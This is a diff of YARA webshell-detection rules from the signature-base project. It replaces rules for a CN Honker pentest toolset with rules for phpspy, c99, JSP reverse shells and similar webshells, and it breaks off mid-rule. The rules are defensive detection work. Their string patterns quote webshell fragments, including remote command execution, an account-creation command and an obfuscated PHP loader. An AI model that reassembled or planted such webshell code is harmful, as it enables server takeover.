 
 	condition:
-		filesize <25KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Xx : FILE
+rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2006_Arabicspy
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "72a04950-b82d-516f-a376-5253b7de1158"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L336-L352"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
-		logic_hash = "67c542f172fd1b97fbee4697fd42bab9486e3d779ce62993617e5a5205bd75d4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2409-L2426"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bd9f1ffdbf94dd5a871fc7c3b31d2357e99265d02bfe1c836f82d251053dce7d"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
 
 	strings:
-		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii
-		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii
-		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii
+		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
+		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"
 
 	condition:
-		filesize <2KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_JSPMSSQL : FILE
+rule SIGNATURE_BASE_Webshell_In_Jfolder_Jfolder01_Jsp_Leo_Warn
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
+		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "061c1e53-edd0-5838-8d0f-6fb8f4fa078a"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L354-L369"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
-		logic_hash = "c08e69345cb09e41840a81dcd8a015f9e1be93d570b64c310be74631e5314e2f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2427-L2447"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00c3667438a688b990cf1c8bb6db52be7c6d1b36192dece4e8b07edda68f4b72"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash1 = "8979594423b68489024447474d113894"
+		hash2 = "ec482fc969d182e5440521c913bab9bd"
+		hash3 = "f98d2b33cd777e160d1489afed96de39"
+		hash4 = "4b4c12b3002fad88ca6346a873855209"
+		hash5 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii
-		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii
+		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
+		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"
 
 	condition:
-		filesize <35KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Injection_Transit_Jmpost : FILE
+rule SIGNATURE_BASE_Webshell_2_520_Icesword_Job_Ma1_Ma4_2
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "892f747e-6065-5baf-b928-8d69d8792483"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L371-L386"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
-		logic_hash = "6c7f52cf7ff6df9867ea2c46cd8f40ef0e077d4e1d9033cde0649a209bffe21b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2448-L2470"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "765efb4f776d9ffe5dab1b5decbb60df654e1de9ab8ae7e0437c5c8f717642b9"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
 
 	strings:
-		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii
-		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii
+		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
+		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
+		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"
 
 	condition:
-		filesize <9KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Web_Asp : FILE
+rule SIGNATURE_BASE_Webshell_Phpspy_2005_Full_Phpspy_2005_Lite_PHPSPY
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "67e03591-770a-5b32-9579-c899894740fc"
-		date = "2015-06-23"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L388-L403"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
-		logic_hash = "5d2d7e6b9340ee4fd845ff05c99526c919214974b1a0def66492fe3cd4a75fe9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2471-L2489"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "80c8e7b50aea91284a25ffd3a07d8705c24b6a95a58f42ec6043ececcff32dbb"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "0712e3dc262b4e1f98ed25760b206836"
 
 	strings:
-		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii
-		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii
+		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
+		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
+		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "
 
 	condition:
-		filesize <13KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Wshell_Asp : FILE
+rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2006_Arabicspy_Hkrkoz
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "294f0d00-7102-553d-92e2-c0a0e017385c"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L405-L421"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
-		logic_hash = "f3c4af85e4798d3a809d8edd9cc46d1df44453f14ed050b002fe789da4d6096f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2490-L2507"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "228e0a73f14da2957f75ae898fdbcf2386deb366df6ddc312162ab723bac44ba"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii
-		$s2 = "hello word !  " fullword ascii
-		$s3 = "root.asp " fullword ascii
+		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
 
 	condition:
-		filesize <5KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp404 : FILE
+rule SIGNATURE_BASE_Webshell_C99_Shell_Ci_Biz_Was_Here_C100_V_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4125bb40-3f5c-53f5-b906-54fa77b119f5"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L423-L439"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
-		logic_hash = "c84be2e561a08317be11cdb0fe103f8ad182a64d8cd1bf987163ebbeabe20f00"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2508-L2527"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ccc3cb553f7b5d089a43612d48522cc4a66b4a8ab433321ae1a716a8fa57b62c"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "f2fa878de03732fbf5c86d656467ff50"
+		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
 
 	strings:
-		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii
-		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii
-		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii
+		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""
 
 	condition:
-		filesize <113KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Serv_U_Asp : FILE
+rule SIGNATURE_BASE_Webshell_2008_2009Lite_2009Mssql
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
+		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06a58a05-92bd-5124-a172-2bfd9491c2fc"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L441-L457"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
-		logic_hash = "c98c3f4db5ea812827b6108ef88b57116621142202248f4f26f0c71bd76e33ec"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2528-L2545"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ae33048856440e25972aa5483b60e775f50f60a9ef5e77a58edd60eacdcd9ee3"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
 
 	strings:
-		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii
-		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii
-		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii
+		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
+		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"
 
 	condition:
-		filesize <30KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Cfm_List : FILE
+rule SIGNATURE_BASE_Webshell_Shell_Phpspy_2005_Full_Phpspy_2005_Lite_Phpspy_2006_Arabicspy_PHPSPY_Hkrkoz
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "98302eef-d1e8-5524-a57e-d49c0e92c7e0"
-		date = "2015-06-23"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L459-L474"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
-		logic_hash = "41c7c5ba6187a8871dec83bcd859b9377813d60cea8ef2b4ad390c67de04e010"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2546-L2567"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5da06481cf789e71969a5b54a33bfab41e08a1961cc056604a696203fef48422"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "0712e3dc262b4e1f98ed25760b206836"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
 
 	strings:
-		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii
-		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii
+		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
+		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"
 
 	condition:
-		filesize <10KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php2 : FILE
+rule SIGNATURE_BASE_Webshell_807_Dm_Jspspyjdk5_M_Cofigrue
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
+		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "377ff89d-a9ba-526c-97a1-388f9ccb48ba"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L476-L491"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
-		logic_hash = "707e2795d82636fbbc4d9f5324e509a526f77f9ead8f3c4d59dd0e95bc94f11e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2568-L2587"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0fc7ac740e147bd3703dac74743b19148aa7bb359cc5f347acf3b0dbe26bf752"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash2 = "341298482cf90febebb8616426080d1d"
+		hash3 = "88fc87e7c58249a398efd5ceae636073"
+		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
 
 	strings:
-		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii
-		$s2 = "<?php // Black" fullword ascii
+		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
+		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword
 
 	condition:
-		filesize <12KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Oracle : FILE
+rule SIGNATURE_BASE_Webshell_Dive_Shell_1_0_Emperor_Hacking_Team_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "adc8dea6-8031-580b-b19a-e5520d41528f"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L493-L509"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
-		logic_hash = "3ad4207e426ed2f9df0e0bac0e906af437b0774ba2ebb541afbe7e29b395ad63"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2588-L2605"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bf11041a16060fa32431adfe33727863355bae7fec2cf841dcc919092db5c80"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
+		hash1 = "f8a6d5306fb37414c5c772315a27832f"
+		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
 
 	strings:
-		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii
-		$s2 = "String user=\"oracle_admin\";" fullword ascii
-		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii
+		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
+		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword
 
 	condition:
-		filesize <7KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx4 : FILE
+rule SIGNATURE_BASE_Webshell_404_Data_In_Jfolder_Jfolder01_Xxx
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
+		description = "Web Shell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L511-L527"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
-		logic_hash = "0aab8e327b4477cb0b8cd5d4b1e4b52c160180656dad57b0498654da1c8d7a29"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2606-L2628"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "171b811c1b93f99f3070692a91a0462f80d9d52ecf26d7fb7297a8bdd9a4c014"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "4b4c12b3002fad88ca6346a873855209"
+		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash8 = "e9a5280f77537e23da2545306f6a19ad"
 
 	strings:
-		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii
-		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii
-		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii
+		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"
 
 	condition:
-		filesize <11KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Reverse_Jsp_Reverse_Jspbd
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
+		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4a13c809-48f7-54f7-9ce3-10d6d48104fb"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L529-L546"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
-		logic_hash = "b59684633fd72bd1804a96850a8b358db98c169415b6e65fe3ecfb4d9fde72d0"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2629-L2647"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd7409bb6ace3044f3d0bf380133c4fe4a7c0c0309f9d800b397439aa95f81fc"
+		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
